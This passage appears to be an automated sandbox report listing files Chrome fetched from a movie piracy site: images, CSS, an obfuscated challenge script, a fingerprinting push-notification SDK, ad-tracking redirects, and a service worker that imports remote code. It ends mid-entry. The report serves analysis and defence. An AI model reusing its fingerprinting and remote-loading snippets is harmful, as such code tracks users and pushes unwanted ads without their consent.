                                                                        SHA-512:42060D453055CDDA3209423040ABB0D7ED24133053279E93D89AC52B0C8EA284AB00AF332C35209F3073D06A8E70CFCC32F93AB0B79303C6A9F87BB2CDAC59C6
                                                                        Malicious:false
                                                                        Reputation:unknown
                                                                        URL:https://www.5movierulz.mom/images/right-arrow.png
                                                                        Preview:.PNG........IHDR..............Sm.....tEXtSoftware.Adobe ImageReadyq.e<..."iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:2168032A201F11E888FC99661F6076BF" xmpMM:DocumentID="xmp.did:2168032B201F11E888FC99661F6076BF"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:21680328201F11E888FC99661F6076BF" stRef:documentID="xmp.did:21680329201F11E888FC99661F6076BF"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>..$.....IDATx.L.+..@...i.m H...\......tm....W...+ ......IA.....C.$....3V...J.=V(0.M.88"..;\.......>~x.....R....*.M
                                                                        Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                        File Type:JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, Exif Standard: [TIFF image data, big-endian, direntries=5], baseline, precision 8, 165x220, components 3
                                                                        Category:downloaded
                                                                        Size (bytes):22089
                                                                        Entropy (8bit):7.954761064672378
                                                                        Encrypted:false
                                                                        SSDEEP:
                                                                        MD5:D6AEA49B6005B1A646EB56FFA35265E0
                                                                        SHA1:C5DB26489C7067C274CAC1F33E3776087D5EF74F
                                                                        SHA-256:24A005E5684E00246D9D5A1EE7E4DA3A33A1FDBF2C4704F9279BA79F452A3110
                                                                        SHA-512:E9CD990C943454EF44635A2B781CD8EE579233BDF1E209120FAA556C5866353469678DDBB80650DED6BB53F5ACC4B42F6F4E8435540FA444EF98C650C713D0FD
                                                                        Malicious:false
                                                                        Reputation:unknown
                                                                        URL:https://www.5movierulz.mom/uploads/Raid-Telugu.jpg
                                                                        Preview:......JFIF.....`.`.....ZExif..MM.*.................J............Q...........Q...........Q..........................C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?...Hca..s.+..s.?j.8.h#..D....Q..CJ....9B.....;.X>....#Ti.-..Z..x.\5.P$Vl2.7 d..wd..^..~.:..<^....J.$._Ws=.M,.d...TQ...G..I.\g.=.u...W]M...6.]..y.W...L......bh.ex.2..).U.q....H...+i...5@..oC.w....u.J\4...y..,...kol..y.%,...9..s..=...s....v..MIC.M.e.....;..../'....#@...d....
                                                                        Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                        File Type:ASCII text, with very long lines (8030), with no line terminators
                                                                        Category:dropped
                                                                        Size (bytes):8030
                                                                        Entropy (8bit):5.755424150381186
                                                                        Encrypted:false
                                                                        SSDEEP:
                                                                        MD5:1B4D332B1E2A0FECB8EBD0FD24C912B7
                                                                        SHA1:3ECA8EE43D8EAB9B30F1A7A72EE45A8DE3C2DF02
                                                                        SHA-256:5CD010721DE918A4D248D4F18CC7BD3F5790C8F16C276A6D7EC90FDBD27ECAA4
                                                                        SHA-512:AE6D077D72C97E3F0778CB07E3B4753EF4E301ED6FB5A227311F1EB42A8E89CFB867587F438FD0C6A9BE71B6708A85A2F63AE104CB3F0C2576EDA7F4A39524AF
                                                                        Malicious:false
                                                                        Reputation:unknown
                                                                        Preview:window._cf_chl_opt={cFPWv:'b'};~function(V,g,h,i,j,n,o,v){V=b,function(d,e,U,f,C){for(U=b,f=d();!![];)try{if(C=parseInt(U(314))/1+parseInt(U(387))/2+-parseInt(U(296))/3+parseInt(U(392))/4+parseInt(U(354))/5+parseInt(U(402))/6+parseInt(U(383))/7*(-parseInt(U(368))/8),e===C)break;else f.push(f.shift())}catch(D){f.push(f.shift())}}(a,643426),g=this||self,h=g[V(308)],i={},i[V(328)]='o',i[V(400)]='s',i[V(393)]='u',i[V(375)]='z',i[V(397)]='n',i[V(378)]='I',j=i,g[V(324)]=function(C,D,E,F,a0,H,I,J,K,L,M){if(a0=V,D===null||void 0===D)return F;for(H=m(D),C[a0(384)][a0(345)]&&(H=H[a0(364)](C[a0(384)][a0(345)](D))),H=C[a0(332)][a0(386)]&&C[a0(311)]?C[a0(332)][a0(386)](new C[(a0(311))](H)):function(N,a1,O){for(a1=a0,N[a1(318)](),O=0;O<N[a1(371)];N[O+1]===N[O]?N[a1(356)](O+1,1):O+=1);return N}(H),I='nAsAaAb'.split('A'),I=I[a0(319)][a0(344)](I),J=0;J<H[a0(371)];K=H[J],L=l(C,D,K),I(L)?(M='s'===L&&!C[a0(339)](D[K]),a0(299)===E+K?G(E+K,L):M||G(E+K,D[K])):G(E+K,L),J++);return F;function G(N,O,Z){Z=b,Obje
                                                                        Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                        File Type:JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, comment: "JPG edited with https://ezgif.com/optijpeg", baseline, precision 8, 165x220, components 3
                                                                        Category:dropped
                                                                        Size (bytes):10511
                                                                        Entropy (8bit):7.9591728236218104
                                                                        Encrypted:false
                                                                        SSDEEP:
                                                                        MD5:D7027CE33446CC683FA2378E916BA84D
                                                                        SHA1:FD8EF7648B89C62CF2E4A18CBDCB5D6319E483F4
                                                                        SHA-256:66AC92074167586C9AE9E4484AA1EA0C2B4819DF6C6DA5D3975837FADE506D51
                                                                        SHA-512:5AB1548F436369F5C3CFACFD1CD8451947C14DED66DA95018D3193BD16D5D92B33CA4F2583BC6DAB4AB4A3A6EE80459CDA0D416FFFCB6992F8463BE1BC5E9AEA
                                                                        Malicious:false
                                                                        Reputation:unknown
                                                                        Preview:......JFIF.............,JPG edited with https://ezgif.com/optijpeg...C................................... $.' ",#..(7),01444.'9=82<.342...C...........2!.!22222222222222222222222222222222222222222222222222..........."........................................S.........................!.1A..Qaq."2.4r...#3BRb....$st...%DS.....d..&57CET....................................'......................!.12."AQ.qBa#3.............?..L..3...]..<...X...`.O...........s.BB9.6.T.7...9x....=.O;.;...R..W.k.o......M3@B.)c......|..A..b.'j.M..2R>..{..............k..l..M..2.....q.1..1.D....(.f..Cl#.$...cA....< ...|q..k6..D#.p.....H|.....~X.8.q...z.c.....q...._..zN..>w.Z;f.1......^.#.g....."........Z..}......-.M;...,n5n....4..? 1..._g=[k....E..L....L.X....gm.as.....W.\.t.2;...x.:....y..K.....H.Vq....J.^..."yrh..l.).%.9.....hX....u..[(;....*..`.t..UJ.~........R<.Q.,.!#.b!.Zo..m.p..8..5.%X.AeE[.<..8r.y....@I.Z...w...XK..,...b2...s.8......-......Y.fSfm...m.....%?l|q,R.fP.....E..W.Y......
                                                                        Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                        File Type:JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, comment: "JPG edited with https://ezgif.com/optijpeg", baseline, precision 8, 165x220, components 3
                                                                        Category:downloaded
                                                                        Size (bytes):9836
                                                                        Entropy (8bit):7.9534910330097635
                                                                        Encrypted:false
                                                                        SSDEEP:
                                                                        MD5:266FBB4F567AF255CB46CCF2081C5585
                                                                        SHA1:E62D9A09B5AD98D5A05E9BB97484A42C074ED045
                                                                        SHA-256:77275BAEF96737F271EFC76111133947B661B0DB2C7A83378267A53DDF269E15
                                                                        SHA-512:EE64A5CD7976813BDFD3A33730B4EF839B1C18E15E91BBC0F63D77A340AD4E1C168F4422804D5B5081C15B70A5FB86C5EC1B8D270B69153104259946E0269DB2
                                                                        Malicious:false
                                                                        Reputation:unknown
                                                                        URL:https://www.5movierulz.mom/uploads/Kali-Telugu.jpg
                                                                        Preview:......JFIF.............,JPG edited with https://ezgif.com/optijpeg...C..............................................!........."$".$.......C............................................................................".........................................F.........................!.1."A.2Qa..q....#B....Rb..3r.$%S...Ccs..................................../........................!.1A."Qaq#2....B.................?...9..pr8.8..D...`....xL-.........v..;.x.`..9.'..yK.iF>.C.-v.R6...7.QGMi....B?.?Ji..I..TA..=..h..l|Ha}..<C.}.w.^o.5}8.SON.A.z........:wB.....6.......<.._.....DU.r..VX.....?N]iJs...].mQ.n....-.2G..yS..=......N...[..._Z....V9n.KR.c...0.a...I..u@..R.....O.5...}.U}Q.m.6.E._......s..{^.h.B.M ..$.$. S!....ns.8...V.FXE..>......v........}'...{$....(...hwr..<.-..p~..c@.)=.I..".H....)w....0.7......h......X..U..k...t.X.i-.P.A.0..G|g.......N.d...p.j.a......C.5.n..B..Q..?.V....}>..t..[r.b...'...<z...k.jn.& ..[.....E.....aFv......r.N8.]..M....C..! ^x.
                                                                        Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                        File Type:JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, comment: "JPG edited with https://ezgif.com/optijpeg", baseline, precision 8, 165x220, components 3
                                                                        Category:downloaded
                                                                        Size (bytes):10334
                                                                        Entropy (8bit):7.95488577535526
                                                                        Encrypted:false
                                                                        SSDEEP:
                                                                        MD5:A3A51FA300EBAED9951840AC4444D2D0
                                                                        SHA1:3113777280D8D003FEEF8A109237CD0436821135
                                                                        SHA-256:B0B280F13AFC02D7D6A209F18E94995948EB02F98823EEBC06321FBE15F71725
                                                                        SHA-512:8DF07ABF04ADCD4C3D99031EAB326BEE7ACEB8065A8D710B776D59F00E1355397F0BACF556AC8212D9DDAF98256A591A79D2CF98D14BDF837301E91C4F6622BE
                                                                        Malicious:false
                                                                        Reputation:unknown
                                                                        URL:https://www.5movierulz.mom/uploads/1000-Babies-Season-1-Telugu.jpg
                                                                        Preview:......JFIF.............,JPG edited with https://ezgif.com/optijpeg...C................................... $.' ",#..(7),01444.'9=82<.342...C...........2!.!22222222222222222222222222222222222222222222222222..........."........................................@.........................!.1A."Qaq..2.#B....R....3br..$4C..................................+......................!1.....Q.A2aq..."R.............?....U...T.M.........%.m....q~.8uS)_..s.........e9f......s<.....$.....Y..?.k.....WU......W...\...f...X.Qs#.}<pJ<..1..<w..!...W.5M#&...$"....../.q.q......(.Q..B..<....z.b.YUC...G.N..&F.&...s.....@...F.~..[:..7...".*...Q&.P.|.S.......Fw*-.]C...`.6US.f.....l/..O.....+)x.e..'H.S....$...5...*..bY&.o.k${.uW.(.hD.K.6$.x...h.$.S.q.z.3W.M..Vor.......M.....Q ........nG..5.E....Q.[.Hf..v...kkz.H...x.;..C..=M....i.9..LC.j...|B....TeBuZ.Y...k.{...T%.d....)........C.._..^.....l.{`\.......e.:I...<bj.P......w.....m..e...Q'.#...D.L.>.v^^..-M\......=..u..C..@b.l.+.4b..l..r#.(..".<..
                                                                        Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                        File Type:ASCII text, with very long lines (11044)
                                                                        Category:downloaded
                                                                        Size (bytes):11045
                                                                        Entropy (8bit):5.161163232465167
                                                                        Encrypted:false
                                                                        SSDEEP:
                                                                        MD5:0D0D954A1E22B41EFEDB810B7BC4D24F
                                                                        SHA1:725C519DE72E5BE15732BB3F0C76AE5C45787C23
                                                                        SHA-256:1A98DE7E5ED8C32242EE0D7FA6BADEA90AA9310D71BAC378F4A6BF7BF5706C5E
                                                                        SHA-512:6905CF5D3A544D2E7811FC324D7B8171124DBF775AEA54623784480B4350D82B89DB5F9DC07E8B6D79D127B039657E575900745E23CE56CC248F46060C6F2046
                                                                        Malicious:false
                                                                        Reputation:unknown
                                                                        URL:https://cdn.ocmhood.com/sdk/osw.js
                                                                        Preview:!function(){"use strict";var t=function(){try{var t=!("undefined"==typeof window||!("localStorage"in window)||!r()),c={t:e(),s:n(),z:o(),c:t};"mobile"===c.t&&(l=navigator.userAgent,/webview|wv|ip((?!.*Safari)|(?=.*like Safari))/i.test(l))&&(c.wv=1),c.de="undefined"!=typeof document&&document.characterSet||null,c.dt="undefined"!=typeof document&&document.title||null,c.sd="undefined"!=typeof screen?screen.colorDepth||screen.pixelDepth:0,c.sr="undefined"!=typeof screen?screen.width+"x"+screen.height:null,c.vp="undefined"!=typeof screen?screen.availWidth+"x"+screen.availHeight:null;var s,a,u=navigator.userAgent,f=u.match(/(opera|chrome|safari|firefox|msie|trident(?=\/))\/?\s*(\d+)/i)||[];return-1!=(a=-1!=u.indexOf("Edge")?u.indexOf("Edge"):-1!=u.indexOf("Edg")?u.indexOf("Edg"):-1!=u.indexOf("EdgA")?u.indexOf("EdgA"):-1)?(s=u.substring(a,a+7).split("/"),i({n:"edge",v:s[1]||""},c)):/trident/i.test(f[1])?(s=/\brv[ :]+(\d+)/g.exec(u)||[],i({n:"ie",v:s[1]||""},c)):-1!=(a=u.indexOf("UCBrowser"))
                                                                        Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                        File Type:RIFF (little-endian) data, Web/P image, VP8 encoding, 492x328, Suserng: [none]x[none], YUV color, decoders should clamp
                                                                        Category:downloaded
                                                                        Size (bytes):8446
                                                                        Entropy (8bit):7.975900732760852
                                                                        Encrypted:false
                                                                        SSDEEP:
                                                                        MD5:8B119C25E37A4BA67D3F3AE698C93FE5
                                                                        SHA1:C8A08298ABBBE824D1EC1C9CDDC5590B22F4E2CB
                                                                        SHA-256:29B17010CB4BABC2165D79CB78ED28FD07FCFB1DA58FEA02363F0C8EF21535B7
                                                                        SHA-512:D8FFEB2AE0616FDBC09572266E90B72C05739EE9027404DD1B889F574255FA4F21B77538767FC75C8E7C3395B6F934F6C4ADC0FAC5D523E9D71422479593D96E
                                                                        Malicious:false
                                                                        Reputation:unknown
                                                                        URL:https://cdn.amnew.net/files/66f28ccf9cffc_2024_09_24_09_56_31_image.webp
                                                                        Preview:RIFF. ..WEBPVP8 . .......*..H.>.D.I%.&$+r,P...gns.k.b!"L,r...6c.p.!..M5K.........p.".0]P.....a..5....r|.XP....-WsX..q.@_..T...}...s..*P].o@y..~..a..8l./g....TS,~p......?....Q...;.......r-BwV........C.J....LeQL....[6.G....rB...R|......2......xr.....ku..e..Y.....=~\.;`T.7....*.e....`.s......m.,p..]~....9....i.+....t:<....*.....7.J.a..&..<.2y.sfp.k8{.$.QL..Vl..,.t.........!v.`...J.. ~.!..3......`..%.q_..4Zc..T..e].P.~._.|.i!.ts.b.~.[]..ia.*....k.g.0..........D^..Q..~.+.l..J.t...t%8.....4......J..K?x.>q..'8....J.....#.1.......t..g ..so.T...@....d..O.."h.R.D....4..6.i.+..`.Zh.R.J>.%...w...Ed..Qf...-..!...........a...w...;..."..0..\...q..R.O.B\....E.D.BT... ?_..$.w.og.%*..m.f..Z".w!a..L...:..2..........r.....%..h.........nO..t.(.7.....7..Y.........^.Y...;.)&...h.Xd.`.J...O.....Dw[6.\..I...9....daYW.,....R.q.V.....@,..g.....[~H..N$...L.j..X.7.\.z...RU...].....a.T*5....~r....[...P 4.....?M..t.03pe.....o.gz......F...@|L.'[a5$...C..t.|..i....F2....~
                                                                        Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                        File Type:ASCII text, with very long lines (761)
                                                                        Category:downloaded
                                                                        Size (bytes):30540
                                                                        Entropy (8bit):5.117485153327064
                                                                        Encrypted:false
                                                                        SSDEEP:
                                                                        MD5:2EBFC13DB94085E51E5C5BC0D716620A
                                                                        SHA1:9BC77506FD3818601B5CC9492987C356AE896365
                                                                        SHA-256:6D8C4E56C71CC8BDE83EC8595396C6B9187FBDEE2F97958E7658991CF403F875
                                                                        SHA-512:E9D7AAF6FF10E36EA9207E976733C9D530F800B18A51F49C1857B439280889AFEE8BC405C9132C2B5AA01C7F2D3E8FBE3732F6AF3C3B0CD92499944AD96E4B8A
                                                                        Malicious:false
                                                                        Reputation:unknown
                                                                        URL:https://www.5movierulz.mom/style.css?ver=2
                                                                        Preview:body {background: #202228 url( img/diagonal-stripes-010.png );color: #989eae;font-size: 14px;margin: 0;padding: 15px 0 30px;}.#page-wrap {margin: 0 auto;width: 1000px;}.#container {margin: 0 auto;width: 100%;}.#main {display: inline;float: left;margin: 0 auto;width: 71%;}.#main.image-template {width: 950px;}..image-template #comments {margin: 0 auto;width: 660px;}..image-template .hentry img {height: auto;max-width: 917px;}.body,input,textarea {font-family: Trebuchet, arial, sans-serif;}.h1,h2,h3,h4,h5,h6,#site-title,.comment-author,.nav-paged a {font-family: Trebuchet, arial, sans-serif;}.code,kbd,pre,samp,tt,var {font-family: Consolas, "Courier New", Courier, monospace;}.a {color: #FFA600;text-decoration: none;}.a img {border-width: 0;}.a.edit-term img {border-width: 0;}.a:hover,a:active,a:focus {outline: 0;text-decoration: underline;}.abbr,acronym {border-bottom: 1px dashed #989eae;cursor: help;}.big {font-size: 2em;position: relative;top: .1em;}.code,var {background: #202228;border
                                                                        Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                        File Type:ASCII text, with very long lines (423), with no line terminators
                                                                        Category:dropped
                                                                        Size (bytes):423
                                                                        Entropy (8bit):5.420370344176628
                                                                        Encrypted:false
                                                                        SSDEEP:
                                                                        MD5:5E13DD427C0C2B7C5C0483726C89BBD5
                                                                        SHA1:4792221E7119F6640167C39D1920F49E6261ADA8
                                                                        SHA-256:FB71F6B9F1E5E3289A9FEA93E44B9770F6B0CD902DB6EF49F6CA32B8FA39DE4E
                                                                        SHA-512:01BD33613791BD3F79E9B46820EC15C4B5489842F810CC1494EB3A7FF60C57CD0A25CC1CA077CFC1FD631AE7D069999502B268C56E38346EE4F2DDE98423A26E
                                                                        Malicious:false
                                                                        Reputation:unknown
                                                                        Preview:window['NjY4ZwSkNAFfmDQ2b2AxNDY4MjE0NjH0']({"analytics":true,"consent":true,"push":"BO_O77ZlnN8vksZ9W6mlRMl2g3dW9r116pASk2NbDsm43M9Z2_LpSWMOVbvcWjBgPeHn2QQ5falFNFe9psyfhBg","push_config":{"prompts":[{"prompt":"native","options":{"delay":null,"onclick":false,"onscroll":true}}]},"activityurl":"https://t.ocmhood.com/v2/activity","crashurl":"https://t.ocmhood.com/v2/crashlytics","usersurl":"https://t.ocmhood.com/v2/users"})
                                                                        Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                        File Type:JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, comment: "JPG edited with https://ezgif.com/optijpeg", baseline, precision 8, 165x220, components 3
                                                                        Category:downloaded
                                                                        Size (bytes):9495
                                                                        Entropy (8bit):7.939956549987357
                                                                        Encrypted:false
                                                                        SSDEEP:
                                                                        MD5:98EC01464FD0C8E3D1A8C1CFACE2E51E
                                                                        SHA1:D483F6CB6B3CA73799CE55C0D77F2B59DB99009D
                                                                        SHA-256:1C379AF1FC5354A2FFA6B0940B472EFEC8C0A279728CFABDF56F0455A7211DD5
                                                                        SHA-512:96ADB9A9CD74763CE60C93AF0413B258D60CFC266FCD4AE867E4BC2389CD66B4971FDBC0EA55E2A1A2D4F1690F1F26660CE9AB1E62FABAE6D10666188004BF24
                                                                        Malicious:false
                                                                        Reputation:unknown
                                                                        URL:https://www.5movierulz.mom/uploads/Vortex-Dawn-of-Sovereignty-Telugu.jpg
                                                                        Preview:......JFIF.............,JPG edited with https://ezgif.com/optijpeg...C......................%....,'..+'+*17F;14B4*+=S>BHJNON/;V\UL[FMNK...C.......$..$K2+2KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK...........".......................................A.........................!1."AQa.q....2....#BR...b...%3Cr...$Sc..............................%......................!.1A.."Qa.q.2............?..0P......'...*...=}+..-...l..<+..O.^".....A.l....m.5.v..O...;...U.y*.W.|h)&...$g.zQzZ...H.I.......C..%.....i=3%L&....AP...p..8@z.>.5.}..r..@..>...3U.d.;7.....R.3.7Hy.a..@...hdV.$.....F..C...;./P..i$N.1..P..:.....B...#Zp.f...QU.....5.7w..f.8.2r.....R(..bV...1.....Y...D..O..&.a[Fb$y..Q.....|......k..@x@..O....."L.K.. P...4../hM...(%IR~......[.(.H..2..r.......\y....)cZ.<M..f...|...4...HC..1.I....v.2.I...&..].n..Nry..5.l.......B........1J.A=..x.....I....u).f..m#.:.[aC.q....0.N.<.q.-..K.c.$.......:D.._j6.z.... .u...BM.UD.M......p....VfG.6....3....-.[...O?.^...
                                                                        Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                        File Type:JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, comment: "JPG edited with https://ezgif.com/optijpeg", baseline, precision 8, 165x220, components 3
                                                                        Category:downloaded
                                                                        Size (bytes):10676
                                                                        Entropy (8bit):7.953976956935996
                                                                        Encrypted:false
                                                                        SSDEEP:
                                                                        MD5:22C179E477B67060354B39D0A9A6D1E4
                                                                        SHA1:27CE5E8ABA0B7FE99B051BFFF6D8A57D38D4CDCD
                                                                        SHA-256:565CB3802FE10741031168A3022171CB18CB274CE8B12C584159DDA0329A7DE6
                                                                        SHA-512:23ECE50D663C211FC9D3133D53F5818C0DCD000957F652CC26FEDCD9B2E60B5FBA1F2B01E22806F5DCB824A29167014931CE94DB0AE0E063855C85E85843CF44
                                                                        Malicious:false
                                                                        Reputation:unknown
                                                                        URL:https://www.5movierulz.mom/uploads/Janaka-Aithe-Ganaka-Telugu.jpg
                                                                        Preview:......JFIF.............,JPG edited with https://ezgif.com/optijpeg...C......................%....,'..+'+*17F;14B4*+=S>BHJNON/;V\UL[FMNK...C.......$..$K2+2KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK...........".......................................K.........................!..1"AQa.q....2.......#BRT3CSbr.....$U...4s..................................)........................!Q.1A"..2a#3Bq.............?.p.......&.....gv*.l.j..d.....&...{<y......c..4...;.....-kk.n......{.b.....h..:..~,.S....G0..w..}.......@..Y,....19.>bs..[.}...X..../K.ex.jB\A.P...5......$.b....%..2..f*..Xu.....q.4Q.Y%Ec.3.N.(....C9.jRR./....\.A.......r.Mo..V..O ..Z\..A.....{.o.~..hw).......u...K.....A .. u.t....WAV.../.....M..M..Y...W.f..%.c.j!.H.T..&.T)h.6b..=#lH.w8..:3..K...nz.....,Q[."%.j`/.......z9*.i^.W....}=.me.....~.]l..r<.:........(.\\.b[H.k..:t..R........v.....8.td.++'......YT.W$.l..,5.Y..*.M\.R7m.....TPOS.d..T..W....}...L........N..;Y.7.A{..@;.'...n0.GCSU].UV.*I.&.J.-<'Ll}z....a..d
                                                                        Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                        File Type:JSON data
                                                                        Category:downloaded
                                                                        Size (bytes):1028
                                                                        Entropy (8bit):6.0983423739521
                                                                        Encrypted:false
                                                                        SSDEEP:
                                                                        MD5:9DC836DF8089BF316AAC47DEFA77E504
                                                                        SHA1:866604BD99BDB64B3B61DB31A1142AF1C6755BDD
                                                                        SHA-256:CCEF7DD419F1669F0DBC94A60EEB895AEA55DFE5F92966BE0246F112CAB090B0
                                                                        SHA-512:F9114F002058B5427D81A5D4D0E0C82CADE94ED327C07521AD5D4B141C859938325EB3C96D2B2D9784A319000C9182740CE457A3A199EB19663BA7CD4E614090
                                                                        Malicious:false
                                                                        Reputation:unknown
                                                                        URL:https://youradexchange.com/script/suurl5.php?r=8857666&chu=%22Google%20Chrome%22%3Bv%3D117%2C%20%22Not%3BA%3DBrand%22%3Bv%3D8%2C%20%22Chromium%22%3Bv%3D117&chmob=%3F0&chp=Windows&chpv=10.0.0&chuafv=117.0.5938.132&cbur=0.7332612446853759&cbiframe=0&cbWidth=1280&cbHeight=907&cbtitle=Movierulz%20%7C%20Watch%20Bollywood%20and%20Hollywood%20Full%20Movies%20Online%20Free&cbpage=https%3A%2F%2Fwww.5movierulz.mom%2F&cbref=&cbdescription=MovieRulz%20%7C%20Latest%20%2F%20Featured%20Bollywood%20-%20Hollywood%20Movies%20Watch%20Online%20Download%20Full%20Free%2C%20Collection%20Of%20Telugu%20Movies%20Tamil%2C%20Malayalam%2C%20Bengali%2C%20Kannada..&cbkeywords=&cbcdn=acscdn.com&ufp=Win32%2FMozilla%2FNetscape%2Ftrue%2Ffalse%2FGoogle%20Inc.1280x1024240en-US8424%20bits&ts=1729499599930&srs=c829a2d6e9c31c43ea78eb0d6b251060&atv=55.0
                                                                        Preview:{"url":"https:\/\/track.starmobmedia.com\/tracking.php?aff_id=394&offer_id=1399617&aff_sub=172949960210000TUSTV426066907464V73862&aff_sub2=3744083-2360662955-0","iurl":"https:\/\/youradexchange.com\/script\/i.php?t=1&c=23877730&stamat=m%257C%252C%252CAhLyo3OqtGU3BJ-GH0dEdHP3xP.a3b%252CBC6RlSM-5LnqaJqGWn_ZNeqEGMJ6utbITRGzYGiwIfjave9zpnWPqNPYMr6XeUlHXW7t9-CsnkF-J1uMNf9sxE3lDX8wADJVKcgiYQJunHwAZOemR9LNme0MWJLUHO6zbdEKvoHxCrBoOIztsVNWWwfWYt7yKID-fb1E8A0OieQo8piv5PpmNfiPVXCYq8V5fdsGqr-scOeyy0_3egoRs_JGpfPxrY3bkEsvWVazBO3B7EZMfK43TAq0dS8jx_cgIHbjVP3QzFLi0knXeOA1P78yE70mLdBpQhPgWnlhpjBgRUiRAy7i7dx72XJ_8z68DPgEqgKWEVinyjYKVqItrNUfc3-VYA2PFfqSlwJ8kRTlNjMBFEjm-xIa5IAypkSRgzWU8e69A2iiavdOtwO7RmaRmLVPotGBiWTxQWtdgQRJfwXefDPXhiTsXbDrVr6vS4dFAmo6cizblo3igOzWWcimUZ9qGJsf_RXx1ue4ubRrQ0A7EU0oH1GsxLrJDcfuIc4qxCS7b4GwloCnzCT8xwFBBlsGnMu7Ry_tRbyzBvXWdU9wsnQkOccbY60YTaWbAopJy-YLUibnymhcgmwS7LCKTl4dXaq5vZJWCE51xuZfQTnVaeaQ5oH3iB1x-zXsSbo1cw4SSJWoJwqa_pF_dA%252C%252C","refreshRate":null,"delay":0,"type":"tab
                                                                        Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                        File Type:JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, comment: "JPG edited with https://ezgif.com/optijpeg", baseline, precision 8, 165x220, components 3
                                                                        Category:dropped
                                                                        Size (bytes):10505
                                                                        Entropy (8bit):7.952917251496587
                                                                        Encrypted:false
                                                                        SSDEEP:
                                                                        MD5:4EFEE4A96509135542720D40A4BCF979
                                                                        SHA1:A2D5F0F36B9A20274DDEF80D3DA63ADB09EEFEAD
                                                                        SHA-256:BC3716F7543BF7B3E2ADA0CD45AA55FF285F2240CF924784CA04DE02630C641E
                                                                        SHA-512:09366E168F956709A28DC5A9C28368A31E908A4720F93FB4F5B1A3845313ADA60A1FAECAE9207AC6B603EC69D2AF1327A6C51AA4621A04FB93257F9DB09C27D1
                                                                        Malicious:false
                                                                        Reputation:unknown
                                                                        Preview:......JFIF.............,JPG edited with https://ezgif.com/optijpeg...C....................................!*$..( ..%2%(,-/0/.#484.7*./....C............................................................................".......................................A........................!.1..AQ"aq..2....#B.$R..br...%5CT.DSs................................"......................!.1AQ.."2.............?....zj_.g...,..,0..#...Mt.B.].l....y.D.B/+.t.A.9....A.}&..-.N.G....e.yS....o.|.Oc.`.L{..^..]. .N5../....%I..V].G.....;...&Er..4#.....B..L..R7...HIX..{.2..b.....O5~..~...<7...I..L..#{R..Fe@YYJ.:.=&...X..#...<p.PJ.[.cd..p9`.........J."..&..cO.a..x..A.,..x#..6..$:..J......Z..y.,..'.g .!.V*..........P.4{.>F@..F.<.J.PL.!P.$|]l...[......R*..Y"}.*Y.Xlx.D1.Q.hc ................6.)).K.(.....1.......z..14'.[.5.Z...j.x..j.$|.....3.kZ...\.5.k4.i.y.....4..f+d+.<........W...G:....@...3;.f$.^.YC.X.OrN.bO..,.B;.4#.y.V...q.W.m.m....#....$.A...~*.@..o...>.!.........;.....+_=B.tS..*4tN.
                                                                        Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                        File Type:Java source, ASCII text
                                                                        Category:downloaded
                                                                        Size (bytes):53
                                                                        Entropy (8bit):4.253600351027018
                                                                        Encrypted:false
                                                                        SSDEEP:
                                                                        MD5:B552603AF17DE3215502E6A073324295
                                                                        SHA1:9B38C22B3F051BB654864368918B8410DD52AD35
                                                                        SHA-256:1A75FB25F7F350232BE5DCC032D7B92B0B63BE751C6FC4515BA8021DBAA81DD8
                                                                        SHA-512:7181D73E097DBE5AEB619AD7255EE127AEAE4BB321E60B9EEC0D2003CF7144B1E3E53DAEC681795DEA19BB2A3D66FA2EF87879CD10F7DE9C05B6EEF23DC5D977
                                                                        Malicious:false
                                                                        Reputation:unknown
                                                                        URL:https://reloadsreviews.top/js/worker.js
                                                                        Preview:importScripts("https://cdn.ocmhood.com/sdk/osw.js");.
                                                                        Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                        File Type:Unicode text, UTF-8 text, with very long lines (65499), with no line terminators
                                                                        Category:downloaded
                                                                        Size (bytes):91526
                                                                        Entropy (8bit):5.414028349198069
                                                                        Encrypted:false
                                                                        SSDEEP:
                                                                        MD5:2E2FA06485BB5BF799DE6A62E6C816D1
                                                                        SHA1:6721DF820163BE6E391EC6CAD8388C877C13CB68
